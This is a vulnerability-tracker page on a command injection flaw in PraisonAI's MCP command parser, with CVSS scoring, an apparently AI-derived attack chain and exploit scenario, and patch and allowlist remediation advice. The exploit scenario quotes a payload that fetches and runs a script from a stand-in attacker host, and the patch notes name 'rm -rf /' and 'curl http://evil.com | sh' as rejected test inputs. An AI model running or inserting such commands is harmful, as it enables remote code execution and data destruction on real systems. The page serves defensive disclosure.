Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAttacker crafts malicious MCP command string
-
DeliverySubmits via PraisonAI API/CLI
-
Exploitparse_mcp_command() accepts without validation
-
ExecutionSubprocess executes attacker-controlled command
-
PersistArbitrary code runs as PraisonAI process
-
ImpactEstablish persistence or exfiltrate data
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK
1 technique across 1 tactic: Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Vulnerability requires that the PraisonAI application accepts MCP server command strings from an external or untrusted source and passes them to the MCPHandler.parse_mcp_command() method. Based on the code path in mcp.py, this occurs when the CLI feature for creating MCP tools via create_mcp_tools() processes user-supplied or configuration-derived command strings. Exploitation does NOT require authentication (CVSS PR:N), user interaction (UI:N), or any non-default configuration - any deployment where MCP commands flow from network input (web API, CLI arguments, configuration APIs) to parse_mcp_command() is exploitable. Exploitation IS LIMITED by deployment architecture: if PraisonAI is used only in isolated development environments with hardcoded MCP configurations in trusted local files, the network attack vector may not be reachable. The advisory describes this as affecting 'MCP command handling' in the CLI features module, suggesting command-line or API-driven configuration scenarios. SCOPE: CVSS S:U indicates unchanged scope - attacker executes code within the PraisonAI process context, not escaping to other system components, though subsequent privilege escalation or lateral movement depends on process privileges and system hardening. |
| Impact | CVSS 9.8 (Critical) with vector AV:N/AC:L/PR:N/UI:N indicates maximum severity: network-accessible, low complexity, no privileges or user interaction required. This aligns with the technical reality - any network service or CLI invocation accepting MCP server commands from untrusted input enables immediate remote code execution. However, real-world risk depends heavily on deployment context. If PraisonAI's MCP command parsing is only invoked by administrators configuring trusted MCP servers in local config files, the network attack vector may not apply. The GitHub advisory and commit diff suggest this affects CLI command parsing, implying user-supplied input scenarios. EPSS data not provided but would likely be low initially given the specialized nature of PraisonAI (multi-agent AI framework). The proof-of-concept in the advisory demonstrates trivial exploitation requiring no specialized tools - just crafting a malicious MCP command string. SSVC assessment: exploitation status is POC (public exploit code in advisory); automatable is yes (no human interaction needed post-delivery); technical impact is total (arbitrary code execution with PraisonAI process privileges). Priority: HIGH for production deployments accepting external MCP configurations, MEDIUM for developer/research environments with trusted configurations only. CRITICAL UNCERTAINTY: The description states this is an 'incomplete fix' for CVE-2026-34935, but provides no details on that prior CVE. If CVE-2026-34935 was already patched, this represents a regression or bypass. The timeline and relationship between these CVEs is unclear from available data. |
| Exploit ScenarioDerived | An attacker identifies a PraisonAI deployment with a web API or CLI interface that accepts MCP server configurations from external input. The attacker crafts a malicious MCP command string such as 'python -c "import os; os.system(\"wget http://attacker.com/backdoor.sh | bash\")"' and submits it through the vulnerable interface. PraisonAI's parse_mcp_command() processes the string without validation, extracting 'python' as the command and '-c' with the code payload as arguments. The function passes these directly to subprocess execution, executing the attacker's Python code with the privileges of the PraisonAI process. The payload downloads and executes a remote shell script, establishing persistent access. Proof-of-concept exploit code demonstrating this attack is publicly available in GitHub advisory GHSA-9qhq-v63v-fv3j. Attack complexity is low (CVSS AC:L) - no cryptographic bypasses, race conditions, or specialized knowledge required beyond basic command injection techniques. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 08, 2026
Command injection in PraisonAI's MCP server command handler enables remote unauthenticated attackers to execute arbitrary operating system commands. The vulnerability exists in parse_mcp_command() which accepts MCP server commands without validating executables or arguments, allowing injection of shell commands like 'bash -c', 'python -c', or '/bin/sh -c' with inline code execution. GitHub security advisory GHSA-9qhq-v63v-fv3j confirms this is an incomplete fix for CVE-2026-34935. Vendor-released patch version 4.6.9 (upstream version 1.5.69) implements an allowlist of permitted MCP executables and validates commands against ALLOWED_MCP_COMMANDS. No active exploitation confirmed (not in CISA KEV); proof-of-concept exploit code published in advisory demonstrates trivial exploitation.
RemediationAI
Upgrade PraisonAI to version 4.6.9 or later (pip install --upgrade praisonai>=4.6.9). For environments using praisonai-agents directly, upgrade to version 1.5.69 or later. The fix is implemented in commit 47bff65413beaa3c21bf633c1fae4e684348368c which adds ALLOWED_MCP_COMMANDS allowlist validation to parse_mcp_command(). Verify patched version with: python -c 'import praisonai; print(praisonai.__version__)'. If immediate upgrade is not feasible, implement input validation at the application layer before passing MCP commands to PraisonAI: restrict MCP command sources to administrator-controlled configuration files only (not user input or external APIs); implement allowlist validation matching the patch (permit only npx, node, python, uvx, uv, docker, deno, bun, pipx executables); reject any commands containing shell metacharacters or argument flags like '-c' outside trusted contexts. TRADE-OFFS: Input filtering as a workaround requires duplicating the patch logic and may break if PraisonAI's expected command format evolves. Network-level controls (firewall rules, network segmentation) do not mitigate this vulnerability if the vulnerable service is reachable. The only reliable mitigation is upgrading to the patched version. Patch references: https://github.com/MervinPraison/PraisonAI/commit/47bff65413beaa3c21bf633c1fae4e684348368c and https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-9qhq-v63v-fv3j.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
PraisonAI is a Python-based multi-agent teams system that integrates with Model Context Protocol (MCP) servers. The vulnerability affects the MCPHandler class in src/praisonai/praisonai/cli/features/mcp.py, specifically the parse_mcp_command() method responsible for parsing MCP server command strings into subprocess-executable components. MCP servers are external tools that agents can invoke, typically launched via commands like 'npx @modelcontextprotocol/server-time' or 'uvx mcp-server'. The vulnerable code uses shlex.split() to parse command strings but performs no validation before passing results to subprocess execution. This is a classic CWE-77 (Command Injection via Improper Neutralization of Special Elements) vulnerability. The patch introduces a hardcoded ALLOWED_MCP_COMMANDS set containing legitimate MCP executables (npx, node, python, uvx, uv, docker, deno, bun, pipx) and validates the basename of the command against this allowlist using os.path.basename() before execution. The fix commit 47bff654 adds both the allowlist enforcement and comprehensive unit tests covering rejection of dangerous commands like 'rm -rf /', 'curl http://evil.com | sh', and shell invocations with inline code.
Know when Praisonai gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Primary rating from Vendor (github) · only source for this CVE.
CVSS VectorVendor: github
DescriptionCVE.org
PraisonAI is a multi-agent teams system. Prior to version 4.6.9, the fix for PraisonAI's MCP command handling does not add a command allowlist or argument validation to parse_mcp_command(), allowing arbitrary executables like bash, python, or /bin/sh with inline code execution flags to pass through to subprocess execution. This issue has been patched in version 4.6.9.
Executive ViewAI
PraisonAI MCP server versions prior to 4.6.9 contain a critical command injection vulnerability allowing unauthenticated remote attackers to execute arbitrary operating system commands on affected systems. This vulnerability directly compromises server integrity and could enable lateral movement, data theft, or service disruption for any organization deploying vulnerable PraisonAI instances.
Apply vendor patch version 4.6.9 (upstream 1.5.69) immediately. If immediate patching is not possible, restrict network access to PraisonAI MCP server ports to authorized internal IPs only; disable MCP server functionality until patched; monitor process execution logs for suspicious command patterns indicative of exploitation attempts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
OS command injection occurs when an application passes unsanitized user input directly into system shell commands.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Remote code execution in PraisonAI before 1.6.78 allows attackers to run arbitrary Python on the host by manipulating th
PraisonAI's TypeScript MCP server (npm package `praisonai`, versions 1.5.0 through 1.7.1) exposes an HTTP JSON-RPC trans
WebSocket origin-validation bypass in PraisonAI's Browser Server (praisonai/browser/server.py) before 4.6.58 lets an att
PraisonAI's `praisonai serve` subsystem (agents and unified modes) accepts an `--api-key` CLI flag that is parsed but ne
System prompt extraction and unauthorized tool invocation in PraisonAI before 4.6.78 arise because the prompt-injection
Unauthenticated remote agent invocation in PraisonAI versions 4.6.34 through 4.6.57 allows any network-reachable caller
SSRF protection bypass in PraisonAI's praisonaiagents library (all versions before 1.6.58) lets low-privileged users rou
Server-side request forgery in PraisonAI's Crawl4AI/Chromium crawling backend (all versions before 1.6.78) lets low-priv
Authentication fail-open in PraisonAI's Recipe HTTP server allows unauthenticated remote attackers to invoke recipe exec
Authentication bypass in PraisonAI's AgentServer component exposes all routes - /publish, /events, /info, /health - to u
Arbitrary Python code execution in PraisonAI's workflow include feature allows an attacker who controls a local recipe d
Server-side request forgery in PraisonAI's web_crawl() function (versions 1.5.128-1.6.57) allows an attacker who can inf
EUVD-2026-28595
GHSA-9qhq-v63v-fv3j
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB